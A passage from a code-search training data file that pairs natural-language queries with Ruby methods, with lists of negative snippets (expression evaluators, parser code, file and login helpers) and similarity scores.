)\n _last = _save_last_1\n\n\n\n when 41\n root_0 = @adaptor.create_flat_list\n\n\n # at line 190:5: ^( '--' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal223 = match( DECR, TOKENS_FOLLOWING_DECR_IN_expression_1367 )\n\n tree_for_string_literal223 = @adaptor.copy_node( string_literal223 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal223, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1369 )\n expression224 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression224.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 42\n root_0 = @adaptor.create_flat_list\n\n\n # at line 191:5: ^( UPLUS expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __UPLUS225__ = match( UPLUS, TOKENS_FOLLOWING_UPLUS_IN_expression_1379 )\n\n tree_for_UPLUS225 = @adaptor.copy_node( __UPLUS225__ )\n\n root_1 = @adaptor.become_root( tree_for_UPLUS225, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1381 )\n expression226 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression226.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 43\n root_0 = @adaptor.create_flat_list\n\n\n # at line 192:5: ^( UMINUS expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __UMINUS227__ = match( UMINUS, TOKENS_FOLLOWING_UMINUS_IN_expression_1391 )\n\n tree_for_UMINUS227 = @adaptor.copy_node( __UMINUS227__ )\n\n root_1 = @adaptor.become_root( tree_for_UMINUS227, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1393 )\n expression228 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression228.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 44\n root_0 = @adaptor.create_flat_list\n\n\n # at line 193:5: ^( '~' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal229 = match( TILDE, TOKENS_FOLLOWING_TILDE_IN_expression_1403 )\n\n tree_for_char_literal229 = @adaptor.copy_node( char_literal229 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal229, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1405 )\n expression230 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression230.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 45\n root_0 = @adaptor.create_flat_list\n\n\n # at line 194:5: ^( '!' expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal231 = match( NOT, TOKENS_FOLLOWING_NOT_IN_expression_1415 )\n\n tree_for_char_literal231 = @adaptor.copy_node( char_literal231 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal231, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1417 )\n expression232 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression232.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 46\n root_0 = @adaptor.create_flat_list\n\n\n # at line 195:5: ^( POST_INCR expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __POST_INCR233__ = match( POST_INCR, TOKENS_FOLLOWING_POST_INCR_IN_expression_1427 )\n\n tree_for_POST_INCR233 = @adaptor.copy_node( __POST_INCR233__ )\n\n root_1 = @adaptor.become_root( tree_for_POST_INCR233, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1429 )\n expression234 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression234.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 47\n root_0 = @adaptor.create_flat_list\n\n\n # at line 196:5: ^( POST_DECR expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __POST_DECR235__ = match( POST_DECR, TOKENS_FOLLOWING_POST_DECR_IN_expression_1439 )\n\n tree_for_POST_DECR235 = @adaptor.copy_node( __POST_DECR235__ )\n\n root_1 = @adaptor.become_root( tree_for_POST_DECR235, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1441 )\n expression236 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression236.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 48\n root_0 = @adaptor.create_flat_list\n\n\n # at line 197:5: ^( AREF expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __AREF237__ = match( AREF, TOKENS_FOLLOWING_AREF_IN_expression_1451 )\n\n tree_for_AREF237 = @adaptor.copy_node( __AREF237__ )\n\n root_1 = @adaptor.become_root( tree_for_AREF237, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1453 )\n expression238 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression238.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1455 )\n expression239 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression239.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 49\n root_0 = @adaptor.create_flat_list\n\n\n # at line 198:5: ^( '.' expression property_name )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal240 = match( DOT, TOKENS_FOLLOWING_DOT_IN_expression_1465 )\n\n tree_for_char_literal240 = @adaptor.copy_node( char_literal240 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal240, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1467 )\n expression241 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression241.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_property_name_IN_expression_1469 )\n property_name242 = property_name\n @state.following.pop\n\n @adaptor.add_child( root_1, property_name242.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 50\n root_0 = @adaptor.create_flat_list\n\n\n # at line 199:5: ^( CALL expression arguments )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __CALL243__ = match( CALL, TOKENS_FOLLOWING_CALL_IN_expression_1479 )\n\n tree_for_CALL243 = @adaptor.copy_node( __CALL243__ )\n\n root_1 = @adaptor.become_root( tree_for_CALL243, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1481 )\n expression244 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression244.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_arguments_IN_expression_1483 )\n arguments245 = arguments\n @state.following.pop\n\n @adaptor.add_child( root_1, arguments245.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 51\n root_0 = @adaptor.create_flat_list\n\n\n # at line 200:5: ^( ITER parameters block )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __ITER246__ = match( ITER, TOKENS_FOLLOWING_ITER_IN_expression_1493 )\n\n tree_for_ITER246 = @adaptor.copy_node( __ITER246__ )\n\n root_1 = @adaptor.become_root( tree_for_ITER246, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_parameters_IN_expression_1495 )\n parameters247 = parameters\n @state.following.pop\n\n @adaptor.add_child( root_1, parameters247.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_block_IN_expression_1497 )\n block248 = block\n @state.following.pop\n\n @adaptor.add_child( root_1, block248.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 52\n root_0 = @adaptor.create_flat_list\n\n\n # at line 201:5: ^( 'new' expression ( arguments )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal249 = match( NEW, TOKENS_FOLLOWING_NEW_IN_expression_1507 )\n\n tree_for_string_literal249 = @adaptor.copy_node( string_literal249 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal249, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1509 )\n expression250 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression250.tree )\n # at line 201:25: ( arguments )?\n alt_31 = 2\n look_31_0 = @input.peek( 1 )\n\n if ( look_31_0 == ARGUMENTS )\n alt_31 = 1\n end\n case alt_31\n when 1\n # at line 201:25: arguments\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_arguments_IN_expression_1511 )\n arguments251 = arguments\n @state.following.pop\n\n @adaptor.add_child( root_1, arguments251.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 53\n root_0 = @adaptor.create_flat_list\n\n\n # at line 202:5: literal\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_literal_IN_expression_1520 )\n literal252 = literal\n @state.following.pop\n\n @adaptor.add_child( root_0, literal252.tree )\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end\n \n return return_value\n end",
"def power\n if @tokens.first == \"(\"\n consume_token\n v = expr\n return v if consume_token == \")\"\n\n raise \"Parens doesn't match.\"\n\n elsif ['+', '-'].include? @tokens.first\n @@ops[consume_token].call(0, power)\n\n else\n begin\n v = consume_token\n Integer v\n rescue\n raise \"Expected integer, found #{v.nil? ? 'nothing' : v}.\"\n end\n end\n end",
"def _expression\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_assignment)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_value)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_expression unless _tmp\n return _tmp\n end",
"def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn 1-Math.exp(-sum**2)\n\t\t\tend",
"def evaluate(postfix)\n stack = Stack.new\n operators = \"+-*/^\"\n for i in 0..postfix.size-1\n if !operators.include?(postfix[i])\n stack.push(postfix[i].to_i)\n else\n case postfix[i]\n when '+'\n value = stack.pop() + stack.pop\n when '-'\n b = stack.pop()\n value = stack.pop() - b\n when '*'\n value = stack.pop() * stack.pop\n when '/'\n b = stack.pop()\n value = stack.pop() / b\n when '^'\n b = stack.pop()\n value = stack.pop ^ b\n end\n stack.push(value)\n end\n end\n stack.pop\nend",
"def expression_value\n return @expression_value if defined?(@expression_value)\n\n subexpr_value =\n (1 + periodic_interest_rate) ** total_number_of_payments\n @expression_value =\n (periodic_interest_rate * subexpr_value) / (subexpr_value - 1)\n end",
"def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn sum\n\t\t\tend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend",
"def evaluate(ex)\n @stack=[]\n @expr.each do |el|\n case el\n when HopExprVar\n # evaluate variable\n var,dot,field=el.value.partition('.')\n if field==''\n # scalar\n val=VarStor.getScalar(ex,el.value)\n else\n # cortege field\n begin\n val=VarStor.getCortege(ex,var)[field]\n rescue\n warn \">> Opppps: #{var}.#{field}\"\n nil\n end\n end\n @stack.push val\n\n when Numeric, String\n # constant\n @stack.push el\n\n when HopExprOp\n case el.value\n when '+'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>PLUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f+a2.to_f\n when '*'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a1.to_f*a2.to_f\n when '-'\n a1=@stack.pop\n a2=@stack.pop\n warn \">>MINUS: #{a1},#{a2}\"\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f-a1.to_f\n when '/'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f/a1.to_f\n when '%'\n a1=@stack.pop\n a2=@stack.pop\n raise SyntaxErrHopError if a2.nil?\n @stack.push a2.to_f%a1.to_f\n else\n raise SyntaxErrHopError\n end\n end #~case\n end # ~each expression\n raise SyntaxErrHopError.new(@expr.to_s+' ('+@stack.to_s+')') if @stack.size>1\n\n return @stack.pop\n end",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new()\n return nil if postfix_expression.empty?\n\n # This solution would not work for floats\n postfix_expression.each_char do |char|\n if char.match?(/\\d/)\n stack.push(char)\n elsif char.match?(/[*-\\/+]/)\n val_1 = stack.pop().to_i\n val_2 = stack.pop().to_i\n result = nil\n\n case char\n when '*'\n result = val_1 * val_2\n when '-'\n result = val_2 - val_1\n when '/'\n result = val_2 / val_1\n when '+'\n result = val_1 + val_2\n end\n\n stack.push(result)\n else\n raise StandardError.new \"Invalid character #{char}.\"\n end\n end\n\n return stack.pop()\nend",
"def evaluate(expression)\n @simpleParser.parse expression\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif token == \"+\"\n # handle addition\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs + rhs)\n elsif token == \"*\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs * rhs)\n elsif token == \"-\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs - rhs)\n elsif token == \"/\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs / rhs)\n elsif token == \"^\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs ** rhs)\n elsif token == \"%\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(lhs % rhs)\n elsif token == \"max\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].max)\n elsif token == \"min\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].min)\n elsif token == \"rand\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push(rand(lhs..rhs))\n elsif token == \"sample\"\n rhs = stack.pop # right-hand side\n lhs = stack.pop # left-hand side\n stack.push([lhs, rhs].sample)\n elsif token == \"!\"\n num = stack.pop\n stack.push(factorial(num))\n else\n raise \"omg what is this token even?\"\n end\n end\n\n stack.pop\n end",
"def try_eval(expr)\n eval_expr(expr)\n end",
"def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend",
"def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend",
"def eval(src)\n @tokens = Lexer.new.lex src\n\n raise 'Empty expression.' if @tokens.empty?\n\n # this is the \"root\" of our grammar\n v = expr\n\n # it remains no tokens so it perfect\n return v if @tokens.empty?\n\n raise \"Too much tokens...\"\n end",
"def evaluate_node(node)\n value_stack.add_stack\n\n iterate(node)\n\n return value_stack.pop.first\n end",
"def calculate\n @equations = self.class.permutate(@inputs, @operators)\n @results = {}\n @equations.each do |eq|\n @results[eq] = eval(eq)\n end\n end",
"def _run (expr)\n _ruby_eval expr\n end",
"def eval_expression\n # Shoes.show_log\n @numbers = @input.split(\" \")\n @first_number = @numbers.shift.to_f\n @numbers.unshift(@first_number)\n\n @last_number = @numbers.pop.to_f\n @numbers.push(@last_number.to_s)\n\n @input = @numbers.join\n @input = eval(@input).to_s\n @output.text = @input\n end",
"def calculate\n\t\tplace_in_containers()\n\n\t\t# Checks for mismatch between the number of operands and operators.\n\t\t# The only valid number of operators for N operands is (N - 1).\n\t\tunless @operands.size - @operators.size == 1\n\t\t\t@valid = false\n\t\t\t@errors.push(\"Operand/Operator mismatch.\")\n\t\tend\n\n\t\t# Checks for operators present before the first two operands\n\t\t# are written. This is incorrect RPN syntax.\n\t\tif (@instructions[0..1] & [1010, 1011, 1100, 1101]).any?\n\t\t\t@valid = false\n\t\t\t@errors.push(\"Operator present before first two operands.\")\n\t\tend\n\n\t\t# Checks for an empty operand stack. In this case, there is\n\t\t# nothing more to do in the method.\n\t\tif @operands.empty?\n\t\t\t@errors.push(\"No operands.\")\n\t\t\treturn [0, false]\n\t\tend\n\n\t\t# Runs a loop until fewer than two operands or fewer than 1\n\t\t# operators are present in their respective containers.\n\t\tuntil @operands.size == 1 || @operators.size == 0 do\n\t\t\t# Pops the first operator from the front of the queue.\n\t\t\toperator = @operators.shift\n\n\t\t\t# Pops the top and second-to-top operands off of the stack.\n\t\t\topright = @operands.pop\n\t\t\topleft = @operands.pop\n\n\t\t\t# Returns prematurely before division by zero occurs.\n\t\t\tif operator == \"/\" && opright == 0\n\t\t\t\tputs \"division by zero\"\n\t\t\t\treturn [0, false]\n\t\t\tend\n\n\t\t\t# Sends the operator and the right operand to the left operand\n\t\t\t# and thereby invokes FixedNum#+, the method used for adding\n\t\t\t# integers.\n\t\t\t@operands.push(opleft.send(operator, opright))\n\t\tend\n\n\t\t# Returns the last element of @operands and the value of @valid.\n\t\t[@operands[-1], @valid]\n\tend"
] |
[
"0.7619665",
"0.72076446",
"0.6806979",
"0.6579995",
"0.64633274",
"0.6404994",
"0.6389471",
"0.6376674",
"0.6341396",
"0.6321771",
"0.6275619",
"0.6210364",
"0.62019825",
"0.61891866",
"0.6162061",
"0.61346906",
"0.61062944",
"0.60767424",
"0.604017",
"0.6017986",
"0.60136026",
"0.60086226",
"0.5973849",
"0.5969869",
"0.5959337",
"0.59324753",
"0.59086174",
"0.59043974",
"0.5884145",
"0.5865201",
"0.5852909",
"0.58495235",
"0.5846341",
"0.5842442",
"0.5841473",
"0.58387536",
"0.5828504",
"0.5816174",
"0.5809327",
"0.5808209",
"0.58033293",
"0.5802891",
"0.57890904",
"0.57862866",
"0.5785886",
"0.57678974",
"0.57600373",
"0.5757483",
"0.5746682",
"0.5746281",
"0.5743972",
"0.5727782",
"0.57191354",
"0.56965387",
"0.5671458",
"0.5650591",
"0.5636113",
"0.56258756",
"0.5612692",
"0.56081235",
"0.5605277",
"0.5591665",
"0.5584816",
"0.55708605",
"0.55697805",
"0.5569732",
"0.5569629",
"0.5569603",
"0.55666304",
"0.5561852",
"0.5553652",
"0.5551144",
"0.5547711",
"0.5545537",
"0.55425864",
"0.55224836",
"0.55224836",
"0.5518112",
"0.55147725",
"0.55053663",
"0.54949397",
"0.54845464",
"0.54834616",
"0.5479315",
"0.5479234",
"0.5475889",
"0.54681414",
"0.54555804",
"0.5452733",
"0.5450196",
"0.5442131",
"0.5431082",
"0.5427459",
"0.54274315",
"0.542726",
"0.54177535",
"0.5416265",
"0.5411509",
"0.5407503",
"0.54005647",
"0.5397079"
] |
0.0
|
-1
|
file is currently the same paper, until we support multiple files per paper.
|
def mainFile
object
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def preservation_file\n if parent.try(:image_resource?)\n @file_set.primary_file\n else\n @file_set.preservation_file || @file_set.primary_file\n end\n end",
"def file\n files.first\n end",
"def file\n files.first\n end",
"def file_name\n self.file_file_name\n end",
"def file_name\n @file_name\n end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def files; end",
"def filename\n # just checking the first file (which is the file where an object\n # is first declared)\n files.first\n end",
"def attached?(filename); end",
"def file\n file_names[x]\n end",
"def file?\n not identifier.blank?\n end",
"def file\n @files.first ? @files.first[0] : nil\n end",
"def file\n @files.first ? @files.first[0] : nil\n end",
"def file_path; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def file; end",
"def existing_files; end",
"def primary_file_spec\n @file_specs[:primary] || @file_specs[@file_specs.keys.first]\n end",
"def primary_file_spec\n @file_specs[:primary] || @file_specs[@file_specs.keys.first]\n end",
"def new_files; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def pfile?\n @raw_image_files.first.pfile?\n end",
"def linkfile\n curfile = File.last_added(\"#{Downloads_path}/*.pdf\")\n unless curfile # no last file found\n growl(\"Sorry, no PDFs found in that directory\")\n exit(0)\n end\n\n f = MacTypes::FileURL.path(curfile)\n Selection[0].linked_files.add(f,{:to =>Selection[0]})\n Selection[0].auto_file\n\n growl(\"PDF added\", \"File added successfully to #{Selection[0].cite_key.get}\")\nend",
"def file\n @file\n end",
"def original_file # Accessor for probably protected value original_filename\r\n original_filename\r\n end",
"def filename() @fn.dup end",
"def filename\n @filename ||= attached_file&.original_filename&.dup\n end",
"def file=(_); end",
"def file name\n \n end",
"def filename\n original_filename\n end",
"def file_path\n end",
"def prep_pdf\n # Make sure we actually have a good paperclip file object before we prep.\n if file && file.original_filename\n self.name = self.file.original_filename.sub(/#{Regexp.escape(File.extname(file.original_filename))}$/, '').gsub(/[^a-zA-Z0-9-]/, ' ').squeeze(\" \") if self.name.blank?\n if self.description.blank?\n self.description = \"\"\n end\n if self.file.queued_for_write[:original].present?\n current_file = self.file.queued_for_write[:original].path\n self.md5 = Digest::MD5.hexdigest(File.read(current_file))\n end\n end\n end",
"def full_filename (for_file = model.document.file)\n for_file\n end",
"def file?() end",
"def filename\n @file\n end",
"def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend",
"def access_file_name\n end",
"def rid_by_file; end",
"def file_name\n return @file_name\n end",
"def file_name\n return @file_name\n end",
"def each_filename; end",
"def file?\n self.file.file?\n end",
"def path\n self.file.to_s\n end",
"def original_filename; end",
"def filename\n self._filename\n end",
"def file() nil; end",
"def filename=(_); end",
"def filename \n end",
"def files?\n id == \"NSFilenamesPboardType\"\n end",
"def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end",
"def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end",
"def file_object\n @file_object ||= Valkyrie::StorageAdapter.find_by(id: original_file.file_identifiers[0])\n end",
"def file_field; end",
"def find_original_file(file_set:)\n find_exactly_one_file_by_use(\n file_set: file_set,\n use: Hyrax::FileMetadata::Use::ORIGINAL_FILE\n )\n end",
"def file_list\n end",
"def internal_file_attributes; end",
"def multivolume?\n @file_name.split('_').last[0].downcase == 'x'\n end",
"def card_on_file(card)\n all_cards = cards.map(&:card)\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n @file\n end",
"def file\n end",
"def file\n end",
"def filename\n @original_filename\n end",
"def name\n self.filename\n end",
"def default_pdf_file_name\n \"#{self.number}.pdf\" if self.number\n end",
"def file_set\n @file_set ||= begin\n representative_id = geo_work.solr_document.representative_id\n file_set_id = [representative_id]\n geo_work.member_presenters(file_set_id).first\n end\n end",
"def file\n @file\n end",
"def filename\n \"wallpaper.#{file.extension}\" if file\n end",
"def old_filename() \n\t\t \t\treturn @podspec + \"_old\"\n\t\t \tend",
"def file(fname)\n @file_list[fname]\n end",
"def file_different?\n if @name && File.exist?( @name )\n Digest::MD5.hexdigest(\n @lines.join( \"\\n\" )\n ) != Digest::MD5.hexdigest(\n File.read( @name )\n )\n else\n true\n end\n end",
"def file\n @file ||= File.basename(link)\n end",
"def file_path\n \"invoices/#{ self.structure.slug }/subscriptions/#{ self.id }.pdf\"\n end"
] |
[
"0.6361272",
"0.6196004",
"0.6196004",
"0.60841274",
"0.6004241",
"0.59893614",
"0.59893614",
"0.59893614",
"0.59893614",
"0.59893614",
"0.59893614",
"0.59848565",
"0.59285104",
"0.5894201",
"0.5853821",
"0.5844086",
"0.5844086",
"0.5822351",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5804296",
"0.5795003",
"0.578985",
"0.578985",
"0.5782705",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.5780475",
"0.57636404",
"0.57584596",
"0.5750638",
"0.5744715",
"0.5734393",
"0.5711371",
"0.5710869",
"0.56883645",
"0.56832016",
"0.5669538",
"0.5641963",
"0.56413245",
"0.5634909",
"0.5622469",
"0.5594756",
"0.5591057",
"0.55849046",
"0.5579372",
"0.5579372",
"0.5561728",
"0.55599236",
"0.5550215",
"0.5543441",
"0.55415934",
"0.5534093",
"0.55218875",
"0.5507364",
"0.5502263",
"0.54926974",
"0.54926974",
"0.54926974",
"0.54835045",
"0.54798204",
"0.5476223",
"0.547401",
"0.5465027",
"0.545291",
"0.54441506",
"0.54441506",
"0.54441506",
"0.54441506",
"0.5435545",
"0.5435545",
"0.54324985",
"0.5432168",
"0.5431894",
"0.54308146",
"0.54300916",
"0.5427858",
"0.5420841",
"0.5419377",
"0.54166853",
"0.5404496",
"0.5401802"
] |
0.0
|
-1
|
Implementation must return user object if login successful
|
def login(login, password)
raise NotImplementedError
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def try_to_login\n User.login(self.name, self.password)\n end",
"def user\n user = User.find_by_email(email)\n return user if user && user.authenticate(password)\n errors.add :user_authentication, 'invalid credentials'\n nil\n end",
"def user\n user = User.find_by_email(email)\n return user if user&.authenticate(password)\n\n errors.add :user_authentication, 'invalid credentials'\n nil\n end",
"def user\n\t\taccount = Account.find_by_email(email)\n\t\t# If everything is true, the user will be returned\n\t\treturn account if account && account.valid_password?(password) #account.authenticate(password) #user&.authenticate?(password) #user && user.authenticate(password) \n\t\t# If not, the method will return nil\n\t\terrors.add :user_authentication, 'invalid credentials' \n\t\tnil \n\tend",
"def get_user_login\n user = User.first(:id => self.user_id )\n return user.login if user\n return nil\n end",
"def login_user(user = gen_user)\n session[:user_id] = user.id\n return user\n end",
"def login\n user = User.find_by_email(params[:username])\n if user.nil? || (user && user.authenticate(params[:password]) == false) || user.deleted\n render status: 400, json: nil \n else\n session[:user_id] = user.id\n session[:username] = user.username\n session[:email] = user.email\n session[:verified] = user.verified\n user.last_ip_login = request.remote_ip\n user.save\n render status: 200, json: session\n end\n end",
"def login\n @user = User.new\n end",
"def get_user()\n user = User.first(:id => self.user_id)\n if !user\n user = User.new\n user.login = \"anon\"\n end\n return user\n end",
